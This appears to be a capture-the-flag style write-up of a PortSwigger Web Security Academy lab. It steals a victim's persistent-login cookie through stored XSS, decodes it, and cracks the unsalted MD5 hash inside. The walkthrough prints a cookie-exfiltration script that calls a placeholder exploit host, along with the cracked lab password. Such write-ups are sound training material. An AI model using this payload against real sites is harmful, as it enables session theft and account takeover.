Authorization disclaimer. This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.

Overview

An injection point exposes a victim persistent-login cookie, which can then be analyzed away from the application to recover a weak password.

The offline password-cracking brief states that Carlos's persistent cookie contains a password hash and that a comment XSS can be used to obtain it.
The offline password-cracking brief states that Carlos's persistent cookie contains a password hash and that a comment XSS can be used to obtain it.

Lab objective/setup

The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.

What I observed

A stored comment script can read the non-HttpOnly persistent cookie. The captured value decodes to carlos:[md5-digest]; the unsalted digest cracks to onceuponatime without further login requests.

For offline password cracking, Burp history highlights a request carrying Wiener's `stay-logged-in` cookie, establishing the persistent credential available to page scripts.
For offline password cracking, Burp history highlights a request carrying Wiener's `stay-logged-in` cookie, establishing the persistent credential available to page scripts.
Base64 decoding the cookie produces `wiener:[md5-digest]`, revealing the username-and-hash structure.
Base64 decoding the cookie produces `wiener:[md5-digest]`, revealing the username-and-hash structure.
The known password `peter` maps to the decoded digest, confirming that the cookie stores an unsalted MD5 password hash.
The known password `peter` maps to the decoded digest, confirming that the cookie stores an unsalted MD5 password hash.

Why it is vulnerable

Credential-derived persistent tokens allow offline verification and remain dangerous even when the online login endpoint is rate-limited.

Walkthrough in the authorized PortSwigger lab

Post the cookie-exfiltration script in the lab comment form, read Carlos’s value from the exploit-server log, Base64-decode it, and crack the MD5 component. Sign in with carlos:onceuponatime and use the lab’s delete-account control.

1
<script>fetch("https://EXPLOIT/?c="+document.cookie)</script>
The comment form contains a script that sends `document.cookie` to the lab exploit server when the stored comment is viewed.
The comment form contains a script that sends `document.cookie` to the lab exploit server when the stored comment is viewed.
The exploit-server access log records a request whose query string contains Carlos's stolen `stay-logged-in` cookie.
The exploit-server access log records a request whose query string contains Carlos's stolen `stay-logged-in` cookie.
Decoding the captured value yields `carlos:[md5-digest]`, separating the victim username from the crackable digest.
Decoding the captured value yields `carlos:[md5-digest]`, separating the victim username from the crackable digest.
The hash lookup maps the captured MD5 digest to `onceuponatime`, recovering the Carlos password offline.
The hash lookup maps the captured MD5 digest to `onceuponatime`, recovering the Carlos password offline.

Verification

The final capture shows the Academy marking the offline password cracking exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.

The Academy displays the solved banner after Carlos is authenticated with the recovered password and the account is deleted.
The Academy displays the solved banner after Carlos is authenticated with the recovered password and the account is deleted.

Impact and defensive lesson

Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.

References